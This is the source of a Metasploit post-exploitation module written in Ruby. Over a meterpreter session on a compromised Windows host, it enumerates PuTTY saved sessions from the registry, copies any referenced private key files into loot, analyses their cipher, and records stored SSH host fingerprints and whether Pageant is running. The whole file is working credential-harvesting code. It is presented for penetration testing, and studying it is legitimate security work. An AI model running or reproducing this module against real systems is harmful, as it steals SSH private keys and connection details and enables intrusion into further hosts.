metasploit-framework/modules/post/windows/gather/enum_putty_saved_sessions.rb

278 lines
11 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/priv'
require 'msf/core/post/common'
require 'msf/core/post/windows/registry'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Registry
INTERESTING_KEYS = ['HostName', 'UserName', 'PublicKeyFile', 'PortNumber', 'PortForwardings']
PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY"
PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment']
def initialize(info = {})
super(update_info(info,
'Name' => "PuTTY Saved Sessions Enumeration Module",
'Description' => %q{
This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session
information from the registry. PuTTY is very configurable; some users may have configured
saved sessions which could include a username, private key file to use when authenticating,
host name etc. If a private key is configured, an attempt will be made to download and store
it in loot. It will also record the SSH host keys which have been stored. These will be connections that
the user has previously after accepting the host SSH fingerprint and therefore are of particular
interest if they are within scope of a penetration test.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>']
))
end
def get_saved_session_details(sessions)
all_sessions = []
sessions.each do |ses|
newses = {}
newses['Name'] = Rex::Text.uri_decode(ses)
INTERESTING_KEYS.each do |key|
newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s
end
all_sessions << newses
report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data)
end
all_sessions
end
def display_saved_sessions_report(info)
# Results table holds raw string data
results_table = Rex::Ui::Text::Table.new(
'Header' => "PuTTY Saved Sessions",
'Indent' => 1,
'SortIndex' => -1,
'Columns' => ['Name'].append(INTERESTING_KEYS).flatten
)
info.each do |result|
row = []
row << result['Name']
INTERESTING_KEYS.each do |key|
row << result[key]
end
results_table << row
end
print_line
print_line results_table.to_s
stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List")
print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")
end
def display_private_key_analysis(info)
# Results table holds raw string data
results_table = Rex::Ui::Text::Table.new(
'Header' => "PuTTY Private Keys",
'Indent' => 1,
'SortIndex' => -1,
'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS
)
info.each do |result|
row = []
PUTTY_PRIVATE_KEY_ANALYSIS.each do |key|
row << result[key]
end
results_table << row
end
print_line
print_line results_table.to_s
# stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List")
# print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")
end
def get_stored_host_key_details(allkeys)
# This hash will store (as the key) host:port pairs. This is basically a quick way of
# getting a unique list of host:port pairs.
all_ssh_host_keys = {}
# This regex will split up lines such as rsa2@22:127.0.0.1 from the registry.
rx_split_hostporttype = /^(?<type>[-a-z0-9]+?)@(?<port>[0-9]+?):(?<host>.+)$/i
# Go through each of the stored keys found in the registry
allkeys.each do |key|
# Store the raw key and value in a hash to start off with
newkey = {
rawname: key,
rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s
}
# Take the key and split up host, port and fingerprint type. If it matches, store the information
# in the hash for later.
split_hostporttype = rx_split_hostporttype.match(key.to_s)
if split_hostporttype
# Extract the host, port and key type into the hash
newkey['host'] = split_hostporttype[:host]
newkey['port'] = split_hostporttype[:port]
newkey['type'] = split_hostporttype[:type]
# Form the key
host_port = "#{newkey['host']}:#{newkey['port']}"
# Add it to the consolidation hash. If the same IP has different key types, append to the array
all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil?
all_ssh_host_keys[host_port] << newkey['type']
end
report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data)
end
all_ssh_host_keys
end
def display_stored_host_keys_report(info)
# Results table holds raw string data
results_table = Rex::Ui::Text::Table.new(
'Header' => "Stored SSH host key fingerprints",
'Indent' => 1,
'SortIndex' => -1,
'Columns' => ['SSH Endpoint', 'Key Type(s)']
)
info.each do |key, result|
row = []
row << key
row << result.join(', ')
results_table << row
end
print_line
print_line results_table.to_s
stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Stored SSH Host Keys List")
print_status("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).")
end
def grab_private_keys(sessions)
private_key_summary = []
sessions.each do |ses|
filename = ses['PublicKeyFile'].to_s
next if filename.empty?
# Check whether the file exists.
if file?(filename)
ppk = read_file(filename)
if ppk # Attempt to read the contents of the file
stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk)
print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}")
# Now analyse the private key
private_key = {}
private_key['Name'] = ses['Name']
private_key['UserName'] = ses['UserName']
private_key['HostName'] = ses['HostName']
private_key['PublicKeyFile'] = ses['PublicKeyFile']
private_key['Type'] = ''
private_key['Cipher'] = ''
private_key['Comment'] = ''
# Get type of key
if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/
# This is an SSH1 header
private_key['Type'] = 'ssh1'
private_key['Comment'] = '-'
if ppk[33] == "\x00"
private_key['Cipher'] = 'none'
elsif ppk[33] == "\x03"
private_key['Cipher'] = '3DES'
else
private_key['Cipher'] = '(Unrecognised)'
end
elsif rx = /^PuTTY-User-Key-File-2:\sssh-(?<keytype>rsa|dss)[\r\n]/.match(ppk.to_s)
# This is an SSH2 header
private_key['Type'] = "ssh2 (#{rx[:keytype]})"
if rx = /^Encryption:\s(?<cipher>[-a-z0-9]+?)[\r\n]/.match(ppk.to_s)
private_key['Cipher'] = rx[:cipher]
else
private_key['Cipher'] = '(Unrecognised)'
end
if rx = /^Comment:\s(?<comment>.+?)[\r\n]/.match(ppk.to_s)
private_key['Comment'] = rx[:comment]
end
end
private_key_summary << private_key
else
print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc
end
else
print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.")
end
end
private_key_summary
end
# Entry point
def run
# Look for saved sessions, break out if not.
print_status("Looking for saved PuTTY sessions")
saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions")
if saved_sessions.nil? || saved_sessions.empty?
print_error('No saved sessions found')
else
# Tell the user how many sessions have been found (with correct English)
print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}")
# Retrieve the saved session details & print them to the screen in a report
all_saved_sessions = get_saved_session_details(saved_sessions)
display_saved_sessions_report(all_saved_sessions)
# If the private key file has been configured, retrieve it and save it to loot
print_status("Downloading private keys...")
private_key_info = grab_private_keys(all_saved_sessions)
if !private_key_info.nil? && !private_key_info.empty?
print_line
display_private_key_analysis(private_key_info)
end
end
print_line # Just for readability
# Now search for SSH stored keys. These could be useful because it shows hosts that the user
# has previously connected to and accepted a key from.
print_status("Looking for previously stored SSH host key fingerprints")
stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys")
if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty?
print_error('No stored SSH host keys found')
else
# Tell the user how many sessions have been found (with correct English)
print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}")
# Retrieve the saved session details & print them to the screen in a report
print_status("Downloading stored key fingerprints...")
all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys)
if all_stored_keys.nil? || all_stored_keys.empty?
print_error("No stored key fingerprints found")
else
display_stored_host_keys_report(all_stored_keys)
end
end
print_line # Just for readability
print_status("Looking for Pageant...")
hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant")
if hwnd['return']
print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})")
else
print_error("Pageant is not running")
end
end
end